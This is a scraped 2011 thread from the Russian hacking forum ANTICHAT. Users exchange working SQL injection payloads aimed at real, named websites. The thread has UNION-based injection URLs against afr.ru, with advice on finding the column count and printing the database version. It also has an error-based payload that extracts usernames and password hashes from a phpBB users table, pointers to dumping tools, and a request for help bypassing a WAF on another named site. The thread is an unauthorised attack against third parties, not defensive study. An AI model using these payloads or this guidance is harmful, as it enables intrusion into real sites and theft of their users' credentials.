ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
28.12.2011, 14:04
|
|
Guest
Сообщений: n/a
Провел на форуме:
107835
Репутация:
23
|
|
Сообщение от Ereee
Ereee said:
http://www.afr.ru/region/(303)and(1)=(1)union(select(1),2,3)#
и т.д.
как версию БД тут вывести?
|
|
|
|
28.12.2011, 14:13
|
|
Moderator - Level 7
Регистрация: 10.03.2009
Сообщений: 1,013
Провел на форуме:
6183433
Репутация:
1521
|
|
Сообщение от er9j6@
er9j6@ said:
как версию БД тут вывести?
@@version
|
|
|
28.12.2011, 14:17
|
|
Guest
Сообщений: n/a
Провел на форуме:
107835
Репутация:
23
|
|
Сообщение от Lilo
Lilo said:
@@version
http://www.afr.ru/region/(303)and(1)=(0)union(select(@@version),@@version,@ @version)#
Не могу найти вывод.
|
|
|
|
28.12.2011, 14:22
|
|
Guest
Сообщений: n/a
Провел на форуме:
102354
Репутация:
267
|
|
Сообщение от er9j6@
er9j6@ said:
http://www.afr.ru/region/(303)and(1)=(0)union(select(@@version),@@version,@ @version)#
Не могу найти вывод.
Блин... Сначал найди кол-во:
http://www.afr.ru/region/(303)and(1)=(0)union(select(1),2,3)#
http://www.afr.ru/region/(303)and(1)=(0)union(select(1),2,3,4)#
и т.д. пока не исчезнет ошибка...
|
|
|
|
28.12.2011, 17:09
|
|
Guest
Сообщений: n/a
Провел на форуме:
1673
Репутация:
0
|
|
1 and extractvalue(rand(),concat(0x3a,(select concat(char(58),user_id,char(58),username,char(58) ,user_password) from phpbb_users limit 1001,1)))--
подскажите прогу чтоб сдампить таблицу, стоит форум phpbb
|
|
|
|
28.12.2011, 17:12
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
Провел на форуме:
7879791
Репутация:
265
|
|
Сообщение от p3d
p3d said:
1 and extractvalue(rand(),concat(0x3a,(select concat(char(58),user_id,char(58),username,char(58) ,user_password) from phpbb_users limit 1001,1)))--
подскажите прогу чтоб сдампить таблицу, стоит форум phpbb
https://rdot.org/forum/showthread.php?t=519
|
|
|
|
28.12.2011, 17:29
|
|
Guest
Сообщений: n/a
Провел на форуме:
1673
Репутация:
0
|
|
там окончание лимит нужно, а тут скобки
|
|
|
|
28.12.2011, 17:36
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
Провел на форуме:
7879791
Репутация:
265
|
|
Сообщение от p3d
p3d said:
там окончание лимит нужно, а тут скобки
https://rdot.org/forum/showthread.php?t=1142 попробуй этим.
|
|
|
|
28.12.2011, 18:22
|
|
Guest
Сообщений: n/a
Провел на форуме:
102354
Репутация:
267
|
|
Сообщение от p3d
p3d said:
там окончание лимит нужно, а тут скобки
Не надо, там новая версия лежить, с новыми возможностями!
|
|
|
|
29.12.2011, 20:44
|
|
Guest
Сообщений: n/a
Провел на форуме:
35174
Репутация:
-6
|
|
Код:
Code:
http://ogra.org.pk/cats_disp.php?cat=-172
It has 8 order by.
I cannot get tables.
It's WAF and I've tried all my WAF skills. |
|
|
|
|
 |
|
|
Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)
|
|
|
|
Похожие темы
Комбинированный вид